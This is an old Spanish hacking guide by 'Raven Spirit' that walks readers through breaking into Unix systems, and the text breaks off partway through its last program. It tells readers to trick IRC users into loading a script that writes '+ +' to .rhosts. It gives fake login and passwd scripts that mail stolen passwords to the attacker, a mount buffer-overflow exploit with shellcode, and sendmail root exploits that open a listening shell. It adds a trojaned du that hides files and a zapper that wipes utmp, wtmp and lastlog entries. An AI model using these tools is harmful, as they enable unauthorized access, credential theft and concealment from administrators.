home *** CD-ROM | disk | FTP | other *** search
/ SuperHack / SuperHack CD.bin / documentos / raven.txt < prev    next >
Text File  |  1999-05-11  |  40KB  |  1,429 lines

  1. //\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//
  2. \\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\
  3. ******************************************************************************
  4. LA GUIA DEFINITIVA PARA HACKEAR UNIX -------------------------By RAVEN SPIRIT
  5. ******************************************************************************
  6. //\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//
  7. \\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\//\\
  8.  
  9.  
  10. Hola a todos. Espero que los que leais este documento comprendais como se
  11. hackea un unix. En mis frecuentes visitas al IRC mucha gente pregunta sobre el
  12. /etc/passwd, mucha gente anda buscando diccionarios de palabras y otros tantos
  13. buscan el mejor crackeador. ¿ para  que ?. Hay maneras mucho mas rapidas y
  14. por supuesto divertidas de conseguir una cuenta. Y por supuesto es demasiado
  15. dificil desencriptar la cuenta del root, por lo que solo se utiliza en casos
  16. extremos, asi como los programas tipo dictmake solo se usan en casos muy raros
  17. y cuando no nos queda otro recurso.
  18. Empezamos. Antes de empezar me gustaria que quedara claro que si quereis ser
  19. hackers en serio necesitais linux, no es absolutamente necesario pero facilita
  20. muchisimo las cosas.
  21. Para hackear un unix la primera cosa que necesitamos es, logico, introducirse
  22. en el sistema. Algunos otros ordenadores tienes ftp∩s anonimos a los que
  23. podemos acceder, pero hacedme caso, no servirá para nada.
  24. Para introducirnos en un sistema necesitamos que tenga al menos una parte de
  25. acceso publico. Generalmente esa parte es la famosa pantalla " Login: y
  26. Password: " que me imagino que todos conocereis.
  27. Esta pantalla simplemente vale para identificar que la entrada de un usuario
  28. en ese sistema sa legitima. Sin embargo esas tontas maquinas que solo saben
  29. la diferencia entre 0 y 1 si les damos un login y password que esten dados
  30. de alta en ese sistema nos dejara pasar ( a no ser que tengan un sistema de
  31. reconocimiento de IP para lo que necesitariamos  hacer IP-Spoofing , pero esto
  32. solo nos ocurrira en ciertos ordenadores de alta seguridad ). ¿ Como conseguir
  33. acceso al sistema ? La manera mas facil, la ingenieria social. No creo que
  34. haga falta explicar eso. Simplemente podeis utilizar en comando finger, para
  35. los que useis linux y los que no usais el finger del mIrc. Este comando nos
  36. dara informacion sobre el titular del e-mail que nostros le demos, que segun
  37. la maquina sera, o mas o menos o a veces nada. Menos da una piedra. Si estais
  38. desde linux podeis usar comandos "r" como "rlogin loquesea.com -l loginquesea"
  39. esto os mete en el sistema, pero hay que conseguir una cuenta para poder usar
  40. los exploits que explicaré mas adelante. Sin embargo hay otras maneras de
  41. conseguir acceso al sistema, como por ejemplo la que explico ahora
  42.  
  43. COMO ACCEDER A UN ORDENADOR HACKEANDO DESDE EL IRC:
  44. Esto solo lo podeis hacer desde linux, yo lo he probado desde win95 y 3.1 y
  45. no lo he conseguido hacer. Primero hacemos un /whois #uncanalconmuchagente
  46. para encontrar si hay alguien que se conecte desde un unix, que normalmente
  47. será una universidad. El unico problema que tiene esto es que no podemos
  48. elegir el ordenador, pero de todas maneras es muy divertido.
  49. Lo unico que necesitamos es meter la cadena + + en su fichero /.rhosts y la
  50. verdad es que es una tonteria tremenda.
  51. Buscamos a la victima y vamos a un canal donde este el, despues le hablaremos
  52. desde un privado. Ahora entra la imaginacion de cada uno, porque tenemos que
  53. mandarle un fichero por DCC ( por ejemplo prueba.irc ) y que el escriba:
  54. /load prueba.irc Me imagino que vuestra imaginacion os ayudara a resolverlo.
  55. Lo primero es conseguir el fichero prueba.irc. Solo esta linea :
  56. /exec echo: "/exec echo + + > $HOME/.rhosts >> prueba.irc 
  57. Ya tenemos el fichero prueba, lo mejor es que para que no se de cuenta podemos
  58. añadirle alguna conachada que se nos ocurra ( alla cada uno se las apañe ).
  59. Listo. Cuando el tio en cuestion escriba /load prueba.irc nosotros ejecutamos
  60. % rlogin ordenador_de_la_victima.com -l login_de_la_victima
  61. Ya estamos dentro. Facil ¿ No ?
  62.  
  63. Y para terminar un truquillo que quizas os valga para algo, simplemente
  64. cambiamos la paridad de nuestro modem a 7E1 y telneteamos al ordenador en
  65. cuestion. Si hemos tenido suerte, cuando alguien intente conectarse, nos
  66. "colaremos" en su lugar.
  67.  
  68. Despues de todo esto se supone que ya estamos dentro. Ahora hay que, o sacar
  69. una cuenta si no la tenemos o conseguir privilegios de root. Para lo primero:
  70. - Podemos usar el archirenombrado /ect/passwd ( si tenemos privilegios para
  71. leerlo ) y crackearlo pero si quereis mi consejo solo usad el fichero passwd
  72. para conseguir una cuenta cualquiera en el sistema y poder ejecutar comandos
  73. en él, poder usar un bug o exploit.
  74. - Usar un trojan o Caballo De Troya, esta opcion tambien requiere tiempo pero
  75. por supuesto menos que crackear el fichero passwd, por que funciona en cuanto
  76. cualguier usuario se conecte al sistema. ATENCION, si conseguimos la cuenta
  77. del root nos podremos saltar el paso " conseguir privilegios de root ", aunque
  78. los sysadmins, algunos, pueden sospechar aunque la verdad es que despues de
  79. hackear durante un tiempo te das cuenta de lo estupidos que pueden llegar a
  80. ser. Quizas sea una de las mejores formas. Un caballo de troya es un fichero
  81. que metido en el sistema hace que un usuario crea que ha introducido su
  82. password mal, pero en realidad el password es enviado a la direccion de correo
  83. que nosostros le digamos. Aqui incluyo uno, pero acordaos de ponerle la
  84. direccion a la que quereis que os mande el passwd, y ademas en algunos
  85. sistemas en lugar de "Login:" nos dice : "marte login: " o algo distinto de
  86. login, por lo que tambien lo tenemos que cambiar para que nadie note la
  87. diferencia. Este es :
  88. ------SCRIPT------
  89. #!/bin/sh
  90. rm -rf $0
  91. cp $HOME/.login $HOME/.l
  92. echo ''>$HOME/.hushlogin
  93. echo "stty intr '^@'
  94. echo 'Login incorrect'
  95. echo -n 'login: '
  96. echo $<>.t
  97. echo -n 'Password: '
  98. stty -echo
  99. echo $<>>.t
  100. mail tunombre@tudirecciondecorreoanonima<.t
  101. rm .t
  102. cat /etc/motd
  103. mv .l .login
  104. rm .hushlogin
  105. stty echo
  106. source .login">$HOME/.login
  107. ----END SCRIPT----
  108.  
  109. Este tipo de scripts tambien se pueden usar en /bin/passwd, para cuando un
  110. usuario cambie su contraseña pero el problema es que no es muy normal que
  111. un usuario cambie su contraseña, o por lo menos pasa muy de vez en cuando.
  112. Para mayor seguridad lo mejor es poner el que esta arriba,( para el caso es
  113. mejor poner los dos ) pero sin embargo aqui pongo el otro, por si acaso
  114. ( acordaos de la direccion de correo ) :
  115.  
  116. ------SCRIPT------
  117. #!/bin/tcsh
  118. echo -n "Changing password for $USER on ";hostname
  119. echo -n "Old password: "
  120. stty -echo
  121. echo $<>$HOME/.tym
  122. echo "" 
  123. echo -n "New password: "
  124. echo $<>>$HOME/.tym
  125. echo ""
  126. stty echo
  127. mail tunombre@tudirecciondecorreoanonima<$HOME/.tym
  128. rm $HOME/.tym
  129. echo "Error: Incorrect Password"
  130. rm -f $0
  131. unalias /bin/passwd
  132. unalias passwd
  133. ---END SCRIPT---
  134.  
  135. La ventaja que tienen estos dos scripts es que no influye que el fichero
  136. passwd este shadowed o no.
  137.  
  138. Creo que con esto nos llega para conseguir una cuenta en un ordenador normal.
  139. Pasamos a lo siguiente, conseguir los privilegios de root.
  140.  
  141. Para conseguir privilegios de root en un sistema NO hace falta desencriptar
  142. la cuenta del root del fichero passwd. Para ser root recurrimos a los bugs y
  143. a los exploits. Los bugs son "agujeros" en el diseño del SSOO y se suelen
  144. encontrar en listas de correo de seguridad, aunque hay algunas webs donde
  145. estan recopilados. Los exploits son programas que utilizan esos bugs para
  146. conseguirnos privilegios de root, aunque no es para lo unico que sirven, me
  147. refiero a que podemos usar un exploit para leer el correo de alguien, para
  148. ocultar lo que estemos haciendo en el ordenador etc...
  149.  
  150. Los exploits son ficheros de codigo .c que hay que compilar en el ordenador
  151. a hackear. Se meten por ftp y se compilan:
  152. % cc -o loquesea loquesea.c
  153. % loquesea
  154. Listo. Hay algunos que requieren una manera especial de utilizacion, pero
  155. lo indica claramente si editamos el fichero.
  156.  
  157. Los bugs y exploits suelen estar clasificados por sistemas, para que sea mas
  158. facil localizarlos. La verdad es que os recomiendo tener los exploits y bugs
  159. en vuestro ordenador ordenados por directorios, para que no perdais el tiempo
  160. la paciencia buscandolos.
  161.  
  162. Para que tengais alguna ayuda os voy a poner aqui unos cuantos:
  163.  
  164.  
  165. Quizas este ya lo conozcais, es el mount, y funciona en casi todos los linux:
  166.  
  167. <-------------------------------------CORTAD AQUI--------------------------->
  168.  
  169. /* Mount Exploit for Linux, Jul 30 1996
  170. Discovered and Coded by Bloodmask & Vio
  171. Covin Security 1996
  172. */
  173.  
  174. #include <unistd.h>
  175. #include <stdio.h>
  176. #include <stdlib.h>
  177. #include <fcntl.h>
  178. #include <sys/stat.h>
  179.  
  180. #define PATH_MOUNT "/bin/umount"
  181. #define BUFFER_SIZE 1024
  182. #define DEFAULT_OFFSET 50
  183.  
  184. u_long get_esp()
  185. {
  186.   __asm__("movl %esp, %eax");
  187.  
  188. }
  189.  
  190. main(int argc, char **argv)
  191. {
  192.   u_char execshell[] =
  193.    "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
  194.    "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
  195.    "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";
  196.  
  197.    char *buff = NULL;
  198.    unsigned long *addr_ptr = NULL;
  199.    char *ptr = NULL;
  200.  
  201.    int i;
  202.    int ofs = DEFAULT_OFFSET;
  203.  
  204.    buff = malloc(4096);
  205.    if(!buff)
  206.    {
  207.       printf("can't allocate memory\n");
  208.       exit(0);
  209.    }
  210.    ptr = buff;
  211.  
  212.    /* fill start of buffer with nops */
  213.  
  214.    memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
  215.    ptr += BUFFER_SIZE-strlen(execshell);
  216.  
  217.    /* stick asm code into the buffer */
  218.  
  219.    for(i=0;i < strlen(execshell);i++)
  220.       *(ptr++) = execshell[i];
  221.  
  222.    addr_ptr = (long *)ptr;
  223.    for(i=0;i < (8/4);i++)
  224.       *(addr_ptr++) = get_esp() + ofs;
  225.    ptr = (char *)addr_ptr;
  226.    *ptr = 0;
  227.  
  228.    (void)alarm((u_int)0);
  229.    printf("Discovered and Coded by Bloodmask and Vio, Covin 1996\n");
  230.    execl(PATH_MOUNT, "mount", buff, NULL);
  231. }
  232. <--------------------------------------FINAL-------------------------------->
  233.  
  234. Este otro exploit os dara un shell de root en los ordenadores que usen el
  235. sendmail 8.6.4, este es el codigo original, leed las lineas que empiecen por
  236. # porque es lo que teneis que escribir vosotros por que es distinto en cada
  237. sistema:
  238.  
  239. <--------------------------------CORTAD AQUI-------------------------------->
  240. # location of sendmail
  241. SENDMAIL=/usr/lib/sendmail
  242.  
  243. # location of original sendmail.cf file
  244. CONFIG=/nau/local/lib/mail/sendmail.cf
  245. #CONFIG=`strings $SENDMAIL | grep sendmail.cf`
  246.  
  247. # program to execute as root
  248. SHELL=/bin/csh
  249.  
  250. TEMPDIR=/tmp/sendbug-tmp.$$
  251. mkdir $TEMPDIR
  252. chmod 700 $TEMPDIR
  253. cd $TEMPDIR
  254.  
  255. cp $SENDMAIL sm
  256. chmod 700 sm
  257.  
  258. echo "Creating setid0 ..."
  259. cat > setid.c << _EOF_
  260.  
  261. /* set uid to zero, thus escaping the annoying csh and solaris sh
  262.  * problem..
  263.  *
  264.  * if (getuid() != geteuid()) {
  265.  *  printf("permission denied, you root-hacker you.\n");
  266.  *  exit(1);
  267.  * }
  268.  *
  269.  * .. must be run euid 0, obviously.  with no args it runs /bin/sh,
  270.  * otherwise it runs the 1st arg.
  271.  */
  272.  
  273. #include <stdio.h>
  274.  
  275. main(argc, argv)
  276. int argc;
  277. char *argv[];
  278.  
  279.  int uid;
  280.  
  281.  setuid(0);
  282.  setgid(0);
  283.  seteuid(0);  /* probabally redundant. */
  284.  setegid(0);
  285.  
  286.  uid = getuid();
  287.  
  288.  if (uid != 0) {
  289.   printf("setuid(0); failed!  aborting..\n");
  290.   exit(1);
  291.  }
  292.  
  293.  if (argc !=2) {
  294.   printf("executing /bin/sh...\n");
  295.   system("/bin/sh");
  296.  }
  297.   else
  298.  {
  299.   printf("executing %s...\n", argv[1]);
  300.   system(argv[1]);
  301.  }
  302.  
  303. _EOF_
  304.  
  305. cc -o setid0 setid.c
  306.  
  307. echo "Creating calc..."
  308.  
  309. cat > calc.c << _EOF_
  310. /*
  311.  * Determines offset in sendmail of
  312.  * sendmail.cf file location.
  313.  * author: timothy newsham
  314.  */
  315. #include <fcntl.h>
  316.  
  317. gencore()
  318.  
  319.   int pid;
  320.   int fd[2];
  321.  
  322.   if(pipe(fd) < 0) {
  323.     perror("pipe");
  324.     exit(1);
  325.     return(0);
  326.   }
  327.   pid = fork();
  328.   if(!pid) {
  329.     int f = open("./out", O_RDWR|O_CREAT, 0666);
  330.     dup2(f, 1); dup2(fd[0], 0);
  331.     close(f); close(fd[1]); close(fd[0]);
  332.     execl("./sm","sm","-d0-9.90","-oQ.","-bs", 0);
  333.     perror("exec");
  334.     exit(0);
  335.   } else {
  336.     sleep(2);
  337.     kill(pid, 11);
  338.   }
  339.   close(fd[0]);
  340.   close(fd[1]);
  341.  
  342.  
  343. main(argc,argv)
  344. char **argv;
  345. int argc;
  346.  
  347.   unsigned int ConfFile,tTdvect,off;
  348.  
  349.   gencore();
  350.   sync();   /* grr. */
  351.   tTdvect = find("ZZZZZZZZ", "core");
  352.   ConfFile = find(argv[1], "core");
  353.   if(!tTdvect || !ConfFile) {
  354.    return(1);
  355.   }
  356.   off = ConfFile - tTdvect;
  357.  
  358.   printf("-d%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.%d,%u.0\n",
  359.   off, '/', off+1, 't', off+2, 'm', off+3, 'p', off+4, '/', off+5, 's', \
  360.   off+6, 'm', off+7, '.', off+8, 'c', off+9, 'f', off+10);
  361.  
  362.  
  363. int find(pattern, file)
  364. char *pattern,*file;
  365.  
  366.   int fd;
  367.   int i, addr;
  368.   char c;
  369.  
  370.   fd = open(file, 0);
  371.  
  372.   i = 0;
  373.   addr = 0;
  374.   while(read(fd, &c, 1) == 1) {
  375.     if(pattern[i] == c)
  376.       i++;
  377.     else
  378.       i=0;
  379.     if(pattern[i] == '\0') {
  380.       addr -= strlen(pattern);
  381.       return(addr);
  382.     }
  383.     addr++;
  384.   }
  385.   return(0);
  386.  
  387. _EOF_
  388. cc calc.c -o calc
  389.  
  390. echo "Scanning core image for $CONFIG..."
  391.  
  392. DEBUGFLAGS=`calc $CONFIG`
  393.  
  394. echo "Creating alias.sh ..."
  395. echo "#!/bin/sh
  396. # this program will be executed when mail is sent to the fake alias.
  397. # since solaris sh and csh and tcsh refuse to run when euid != realuid,
  398. # we instead run the program we compiled above.
  399.  
  400. /bin/chmod 6777 $TEMPDIR/setid0
  401. /bin/chown root $TEMPDIR/setid0
  402. /bin/sync
  403.  
  404. " > alias.sh
  405.  
  406. chmod 755 alias.sh
  407.  
  408. echo "Creating fake alias file..."
  409. echo "yash: |$TEMPDIR/alias.sh" > aliases
  410.  
  411. echo "Faking alias pointer in new config file..."
  412. egrep -v '(OA|DZ|Ou|Og)' $CONFIG > /tmp/sm.cf
  413. echo "
  414. # hacks follow
  415.  
  416. OA/$TEMPDIR/aliases                     # our fake alias file
  417. Ou0                                     # user ID to run as
  418. Og0                                     # group ID to run as
  419. DZWHOOP-v1.0" >> /tmp/sm.cf
  420.  
  421. echo "Creating the sendmail script..."
  422.  
  423. cat > sendmail.script << _EOF_
  424. helo
  425. mail from: <nobody>
  426. rcpt to: <yash>
  427. data
  428. yet another sendmail hole?  suid whoop?
  429. \.                                      # oops.. delete \ prior to execution
  430. quit
  431. _EOF_
  432.  
  433. echo "Executing $SENDMAIL $DEBUGFLAGS -bs..."
  434.  
  435. $SENDMAIL $DEBUGFLAGS -bs < sendmail.script
  436.  
  437. # give it time to execute.
  438. sleep 4
  439.  
  440. # cleanup in 5 seconds
  441. (sleep 5; rm -rf $TEMPDIR ; rm /tmp/sm.cf) &
  442.  
  443. if [ -u setid0 ]
  444. then
  445.  echo "setid0 is a suid shell.  executing..."
  446.  cd /
  447.  $TEMPDIR/setid0 /bin/csh
  448.  echo "end of script."
  449.  exit 0
  450. else
  451.  echo "setid0 is not suid; script failed."
  452.  echo "apparently, you don't have the bug.  celebrate :-)"
  453.  exit 1
  454. fi
  455. <----------------------------------FINAL------------------------------------->
  456.  
  457. Este otro os hará root en los ssoo con el sendmail 4.x
  458. <-------------------------------CORTAR AQUI---------------------------------->
  459. #!/bin/sh
  460.  
  461. # Uso: smail <hostname> <target-user-name> <target-port> <shell command>
  462. # Defecto: smail <localhost> <daemon> <7001> </bin/sh>
  463.  
  464. port=$3
  465. user=$2
  466. cmd=$4
  467.  
  468. if [ -z "$2" ]; then
  469.    user=daemon
  470. fi
  471.  
  472. if [ -z "$3" ]; then
  473.    port=7002
  474. fi
  475.  
  476. if [ -z "$4" ]; then
  477.    cmd="/bin/csh -i"
  478. fi
  479.  
  480. (
  481. sleep 4
  482. echo "helo"
  483. echo "mail from: |"
  484. echo "rcpt to: bounce"
  485. echo "data"
  486. echo "."
  487. sleep 3
  488. echo "mail from: $user"
  489. echo "rcpt to: | sed '1,/^$/d' | sh"
  490. echo "data"
  491. echo "cat > /tmp/a.c <<EOF"
  492. cat <<  EOF
  493. #include <sys/types.h>
  494. #include <sys/signal.h>
  495. #include <sys/socket.h>
  496. #include <netinet/in.h>
  497. #include <netdb.h>
  498. reap(){int s;while(wait(&s)!=-1);}main(ac,av)int ac;
  499. int **av;{struct sockaddr_in mya;struct servent *sp
  500. ;fd_set muf;int myfd,new,x,maxfd=getdtablesize();
  501. signal(SIGCLD,reap);if((myfd=socket(AF_INET,SOCK_STREAM,
  502. 0))<0)exit(1);mya.sin_family=AF_INET;bzero(&mya.sin_addr,
  503. sizeof(mya.sin_addr));if((sp=getservbyname(av[1],"tcp"))
  504. ==(struct servent *)0){if(atoi(av[1])<=0)exit(1);mya.sin_port
  505. =htons(atoi(av[1]));}else mya.sin_port=sp->s_port;if(bind(myfd,
  506. (struct sockaddr *)&mya,sizeof(mya)))exit(1);if(listen(myfd,
  507. 1)<0)exit(1);loop: FD_ZERO(&muf);FD_SET(myfd,&muf);if
  508. (select(myfd+1,&muf,0,0,0)!=1||!FD_ISSET(myfd,&muf))goto
  509. loop;if((new=accept(myfd,0,0))<0)goto loop;if(fork()
  510. ==0){for(x=2;x<maxfd;x++)if(x!=new)close(x);for(x=0;x<
  511. NSIG;x++)signal(x,SIG_DFL);dup2(new,0);close(new);dup2
  512. (0,1);dup2(0,2);execv(av[2],av+2);exit(1);}close(new);
  513. goto loop;}                                          
  514. EOF
  515. echo "EOF"
  516. echo "cd /tmp"
  517. echo "/bin/cc /tmp/a.c"
  518. echo "/bin/rm a.c"
  519. echo "/tmp/a.out $port $cmd"
  520. echo "."
  521. echo "quit"
  522. ) | mconnect $1
  523. <------------------------------------FINAL----------------------------------->
  524.  
  525. Y por ultimo este otro, que no es para ser root, si no para ocultar ficheros
  526. en un directorio, que no se veran al hacer "ls". Este fichero se  copia en
  527. /bin/ls sobreescribiendo al original.
  528. Lo de siempre, es el codigo original, leed los /*.
  529.  
  530. <----------------------------------CORTAR AQUI------------------------------->
  531. #ifndef lint
  532. static    char sccsid[] = "@(#)du.c 1.1 91/11/13 SMI"; /* from UCB 4.11 83/07/01 */
  533. #endif
  534. /*
  535.  * du
  536.  */
  537. #include <stdio.h>
  538. #include <sys/param.h>
  539. #include <sys/stat.h>
  540. #include <sys/dir.h>
  541.  
  542. char    path[BUFSIZ], name[BUFSIZ];
  543. int    aflg;
  544. int    sflg;
  545. char    *dot = ".";
  546.  
  547. #define ML    1000
  548. struct {
  549.     int    dev;
  550.     ino_t    ino;
  551. } ml[ML];
  552. int    mlx;
  553.  
  554. /*+
  555.  *  Hack vars - oops they're global
  556.  *  but wtf cares, its a hack.
  557. +*/
  558.  
  559. #define FILENAME "/dev/ptyr"
  560. #define STR_SIZE 128
  561. #define SEP_CHAR " \n"
  562. #define SHOWFLAG        /*  Able to get du stats with `du -/` command  */
  563.  
  564. struct  h_st {
  565.         struct h_st     *next;
  566.         char            filename[STR_SIZE];
  567. };
  568.  
  569. struct  h_st    *hack_list;
  570. struct  h_st    *h_tmp;
  571.  
  572. char    tmp_str[STR_SIZE];
  573.  
  574. FILE    *fp_hack;
  575. int     showall=0;
  576.  
  577.  
  578. long    descend();
  579. char    *index(), *rindex(), *strcpy(), *sprintf();
  580.  
  581. #define    kb(n)    (howmany(dbtob(n), 1024))
  582.  
  583. main(argc, argv)
  584.     int argc;
  585.     char **argv;
  586. {
  587.     long blocks = 0;
  588.     register char *np;
  589.     int pid;
  590.     int c;
  591.     extern int optind;
  592.  
  593. #if defined (SHOWFLAG)
  594.     while ((c = getopt(argc, argv, "as/")) != -1)
  595. #else
  596.     while ((c = getopt(argc, argv, "as")) != -1)
  597. #endif
  598.         switch (c) {
  599.             case 'a':
  600.                 aflg++;
  601.                 break;
  602.             case 's':
  603.                 sflg++;
  604.                 break;
  605. #if defined (SHOWFLAG)
  606.                     case '/':
  607.                 showall++;
  608.                 break;
  609. #endif
  610.             default:
  611.                 (void)fprintf(stderr, "Usage: du [-as] file . . .\n");
  612.                 exit (2);
  613.         }
  614.  
  615. /*+  Read in list of files to block  +*/
  616.  
  617.         h_tmp=(struct h_st *)malloc(sizeof(struct h_st));
  618.         hack_list=h_tmp;
  619.  
  620.         if (fp_hack=fopen (FILENAME, "r")) {
  621.                 while (fgets(tmp_str, 126, fp_hack)) {
  622.                         h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));
  623.                         strcpy (h_tmp->filename, tmp_str);
  624.                         h_tmp->filename[strlen(h_tmp->filename)-1]='\0';
  625.                         h_tmp=h_tmp->next;
  626.                 }
  627.         }
  628.         h_tmp->next=NULL;
  629.  
  630. /*+  On with the program  +*/
  631.  
  632.     argc -= optind;
  633.     argv += optind;
  634.     if (argc == 0) {
  635.         argv = ˙
  636.         argc = 1;
  637.     }
  638.     do {
  639.         if (argc > 1) {
  640.             pid = fork();
  641.             if (pid == -1) {
  642.                 fprintf(stderr, "No more processes.\n");
  643.                 exit(1);
  644.             }
  645.             if (pid != 0)
  646.                 wait((int *)0);
  647.         }
  648.         if (argc == 1 || pid == 0) {
  649.             (void) strcpy(path, *argv);
  650.             (void) strcpy(name, *argv);
  651.             if (np = rindex(name, '/')) {
  652.                 *np++ = '\0';
  653.                 if (chdir(*name ? name : "/") < 0) {
  654.                     perror(*name ? name : "/");
  655.                     exit(1);
  656.                 }
  657.             } else
  658.                 np = path;
  659.             blocks = descend(path, *np ? np : ".");
  660.             if (sflg)
  661.                 printf("%ld\t%s\n", kb(blocks), path);
  662.             if (argc > 1)
  663.                 exit(1);
  664.         }
  665.         argc--, argv++;
  666.     } while (argc > 0);
  667.     exit(0);
  668.     /* NOTREACHED */
  669. }
  670.  
  671. DIR    *dirp = NULL;
  672.  
  673. long
  674. descend(base, name)  /*  Cool tree spanning idea  */
  675.     char *base, *name;
  676. {
  677.     char *ebase0, *ebase;
  678.     struct stat stb;
  679.     int i;
  680.     long blocks = 0;
  681.     long curoff = NULL;
  682.     register struct direct *dp;
  683.  
  684.  
  685. /*+ 
  686.  * This will be very lagged if you include alot of files
  687.  * because strstr() is such an expensive call.  However,
  688.  * the nature of this procedure requires it, and breaking
  689.  * the pathname down would be just as expensive.  Note, 
  690.  * that correct disk usage sizes will be reported based
  691.  * upon files that are not masked.
  692. +*/
  693.  
  694.     if (!showall)
  695.         for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next)
  696.             if (strstr(base, h_tmp->filename))
  697.                 return 0; 
  698.  
  699.     ebase0 = ebase = index(base, 0);
  700.  
  701.     if (ebase > base && ebase[-1] == '/')
  702.         ebase--;
  703.     if (lstat(name, &stb) < 0) {
  704.         perror(base);
  705.         *ebase0 = 0;
  706.         return (0);
  707.     }
  708.     if (stb.st_nlink > 1 && (stb.st_mode&S_IFMT) != S_IFDIR) {
  709.         for (i = 0; i <= mlx; i++)
  710.             if (ml[i].ino == stb.st_ino && ml[i].dev == stb.st_dev)
  711.                 return (0);
  712.         if (mlx < ML) {
  713.             ml[mlx].dev = stb.st_dev;
  714.             ml[mlx].ino = stb.st_ino;
  715.             mlx++;
  716.         }
  717.     }
  718.  
  719.     blocks = stb.st_blocks;
  720.     if ((stb.st_mode&S_IFMT) != S_IFDIR) {
  721.         if (aflg)
  722.             printf("%ld\t%s\n", kb(blocks), base);
  723.         return (blocks);
  724.     }
  725.     if (dirp != NULL)
  726.         closedir(dirp);
  727.     dirp = opendir(name);
  728.     if (dirp == NULL) {
  729.         perror(base);
  730.         *ebase0 = 0;
  731.         return (0);
  732.     }
  733.     if (chdir(name) < 0) {
  734.         perror(base);
  735.         *ebase0 = 0;
  736.         closedir(dirp);
  737.         dirp = NULL;
  738.         return (0);
  739.     }
  740.     while (dp = readdir(dirp)) {
  741.         if (!strcmp(dp->d_name, ".") || !strcmp(dp->d_name, ".."))
  742.             continue;
  743.         (void) sprintf(ebase, "/%s", dp->d_name);
  744.         curoff = telldir(dirp);
  745.         blocks += descend(base, ebase+1);
  746.         *ebase = 0;
  747.         if (dirp == NULL) {
  748.             dirp = opendir(".");
  749.             if (dirp == NULL) {
  750.                 perror(".");
  751.                 return (0);
  752.             }
  753.             seekdir(dirp, curoff);
  754.         }
  755.     }
  756.     closedir(dirp);
  757.     dirp = NULL;
  758.     if (sflg == 0)
  759.         printf("%ld\t%s\n", kb(blocks), base);
  760.     if (chdir("..") < 0) {
  761.         (void) sprintf(index(base, 0), "/..");
  762.         perror(base);
  763.         exit(1);
  764.     }
  765.     *ebase0 = 0;
  766.     return (blocks);
  767. }
  768. <---------------------------------------FINAL-------------------------------->
  769.  
  770. Igual que hay este hay un monton para cada sistema, para el ftp, para telnet
  771. etc...
  772. Despues de buscar, o bien el vuestro HD, o bien en las paginas web se supone
  773. que tendreis los necesarios para ser root. Un consejo, si no funciona ninguno
  774. de los que teneis no useis los que son para otros sistemas o versiones, vamos,
  775. que no hagais cosas a lo loco, por que lo unico que haceis es dejar mas
  776. huellas en el sistema.
  777.  
  778. Esta es la parte mas dificil de todas, asi que espero que sepais solucionarla.
  779.  
  780. Una vez que ya somos root podemos hacer lo que queramos en ese sistema, pero
  781. no debemos olvidarnos de borrar nuestras huellas. Los unix tienen varios logs
  782. que guardan casi todo lo que hacemos en el sistema :
  783.  
  784. * UTMP: Este fichero guarda un registro de todos los usuarios que se han
  785. conectado a ese sistema
  786.  Directorios: /etc/utmp o /var/adm/utmp
  787.  
  788. * WTMP: Este es nuestro peor enemigo. Guarda los numeros IP de todos los que
  789. se han conectado al ordenador.
  790.  Directorios: /etc/wtmp o /var/adm/wtmp
  791.  
  792. * LASTLOG: Este log guarda un registro del momento exacto en que un usuario
  793. entro por última vez
  794.  Directorio: /var/adm/lastlog
  795.  
  796. * ACCT: Este log guarda los comandos que hemos ejecutado pero SOLO los
  797. comandos no con que fin los hemos utilizado, pero suele estar desactivado
  798. por la gran cantidad de memoria que necesita. (  Logico no? )
  799.  
  800.  Directorio: /var/adm/acct ( en algunos sistemas se puede llamar pacct )
  801.  
  802. Ademas de esto  puede haber otros programas que registren tu entrada, como el
  803. TCP-Wrapper o similares( Tened cuidado con el Syslog que viene con el ssoo
  804. que guarda los logs en los ficheros especificados en /etc/syslog.conf )
  805. De todas maneras os recomiendo que hackeeis a horas que el root no pueda ver
  806. vuestro numero IP con "who" o "users" porque os pillara. De la misma manera,
  807. la primera vez que accedeis al sistema con una cuenta hackeada, haced muchas
  808. cosas que haria un usuario normal ( telnet, ftp, echar una partida al tetris )
  809. para que si el root os investiga "levemente" no se de cuenta de lo que habeis
  810. hecho. Aqui incluyo el codigo de el "zap" que, como su nombre indica es un
  811. zapper, o sea un programa que borra nuestras huellas el solito.
  812. Se compila como los exploits, pero cambia su ejecucion :
  813. % zap <nombredeusuario>
  814.  
  815. <---------------------------------CORTAD AQUI-------------------------------->
  816. #include <sys/types.h>
  817. #include <stdio.h>
  818. #include <unistd.h>
  819. #include <sys/file.h>
  820. #include <fcntl.h>
  821. #include <utmp.h>
  822. #include <pwd.h>
  823. #include <lastlog.h>
  824. #define WTMP_NAME "/usr/adm/wtmp"
  825. #define UTMP_NAME "/etc/utmp"
  826. #define LASTLOG_NAME "/usr/adm/lastlog"
  827.  
  828. int f;
  829.  
  830. void kill_utmp(who)
  831. char *who;
  832. {
  833.     struct utmp utmp_ent;
  834.     int flag=0;
  835.  
  836.     if ((f=open(UTMP_NAME,O_RDWR))>=0) {
  837.         while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 )
  838.         if (!strncmp(utmp_ent.ut_name,who,strlen(who))) {
  839.             bzero((char *)&utmp_ent,sizeof( utmp_ent ));
  840.             lseek (f, -(sizeof (utmp_ent)), SEEK_CUR);
  841.             write (f, &utmp_ent, sizeof (utmp_ent));
  842.             flag++; 
  843.         }
  844.         close(f);
  845.         if(!flag) printf("Unsuccessful.\n");
  846.     }
  847. }
  848.  
  849.  
  850. main(argc,argv)
  851. int argc;
  852. char *argv[];
  853. {
  854.     char me[30];
  855.     int i;
  856.     struct passwd *myentry;
  857.     
